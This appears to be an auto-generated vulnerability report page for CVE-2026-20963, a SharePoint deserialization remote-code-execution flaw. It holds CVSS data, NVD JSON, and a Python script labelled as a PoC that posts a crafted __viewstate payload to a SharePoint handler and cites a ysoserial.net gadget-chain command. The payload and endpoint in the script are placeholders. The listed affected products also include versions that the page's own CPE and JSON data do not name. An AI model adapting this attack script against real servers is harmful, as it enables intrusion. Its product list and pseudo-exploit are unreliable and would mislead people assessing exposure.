Security Vulnerability Report
中文
CVE-2026-20963 CVSS 9.8 CRITICAL

CVE-2026-20963

Published: 2026-01-13 18:16:24
Last Modified: 2026-04-01 16:01:23

Description

Deserialization of untrusted data in Microsoft Office SharePoint allows an unauthorized attacker to execute code over a network.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:* - VULNERABLE
Microsoft SharePoint Server 2019
Microsoft SharePoint Enterprise Server 2016
Microsoft SharePoint Foundation 2013
Microsoft SharePoint Server 2010
Microsoft Office SharePoint Server 2007
Microsoft SharePoint Online (部分版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-20963 SharePoint Deserialization RCE PoC # This is a conceptual PoC for educational purposes only import requests import base64 import sys # Note: This PoC requires actual target information to be filled in TARGET_URL = "https://target-sharepoint-server.com" def generate_deserialization_payload(): """ Generate a malicious serialized object payload This would typically use ysoserial.net or similar tool """ # Example using ysoserial.net: # ysoserial.exe -p SharePoint -g ActivitySurrogateSelectorFromFile # -c "calc.exe" -o base64 # Placeholder for the actual payload # In real exploitation, this would be generated using: # - BinaryFormatter serialization with gadget chains # - ActivitySurrogateSelector or similar .NET gadgets # - Or SharePoint-specific gadget chains return "MALICIOUS_SERIALIZED_PAYLOAD_PLACEHOLDER" def exploit_sharepoint(target_url, payload): """ Send the malicious payload to SharePoint endpoint Common targets include: - /_layouts/15/* endpoints - WebPart pages with DataView - Custom WebPart handlers """ headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded' } # Endpoint that processes serialized data endpoint = f"{target_url}/_layouts/15/SomeHandler.ashx" # Payload injection via parameter data = { '__viewstate': payload, '__VIEWSTATEGENERATOR': 'MALICIOUS_GENERATOR' } try: response = requests.post(endpoint, data=data, headers=headers, timeout=30, verify=False) return response.status_code, response.text except requests.exceptions.RequestException as e: return None, str(e) def main(): if len(sys.argv) < 2: print("Usage: python cve-2026-20963.py <target_url>") print("Example: python cve-2026-20963.py https://sharepoint.company.com") sys.exit(1) target = sys.argv[1] print(f"[*] Generating payload for CVE-2026-20963...") # Generate deserialization payload payload = generate_deserialization_payload() print(f"[*] Exploiting target: {target}") status, response = exploit_sharepoint(target, payload) if status: print(f"[+] Request sent with status code: {status}") else: print(f"[-] Exploitation failed: {response}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-20963", "sourceIdentifier": "[email protected]", "published": "2026-01-13T18:16:24.260", "lastModified": "2026-04-01T16:01:22.890", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of untrusted data in Microsoft Office SharePoint allows an unauthorized attacker to execute code over a network."}, {"lang": "es", "value": "La deserialización de datos no confiables en Microsoft Office SharePoint permite a un atacante autorizado ejecutar código a través de una red."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "cisaExploitAdd": "2026-03-18", "cisaActionDue": "2026-03-21", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Microsoft SharePoint Deserialization of Untrusted Data Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:*", "versionEndExcluding": "16.0.19127.20442", "matchCriteriaId": "FB9ECA81-C1E2-4B02-A45C-0E5664E3C9B9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:*", "matchCriteriaId": "F815EF1D-7B60-47BE-9AC2-2548F99F10E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*", "matchCriteriaId": "6122D014-5BF1-4AF4-8B4D-80205ED7785E"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20963", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-20963", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["US Government Resource"]}]}}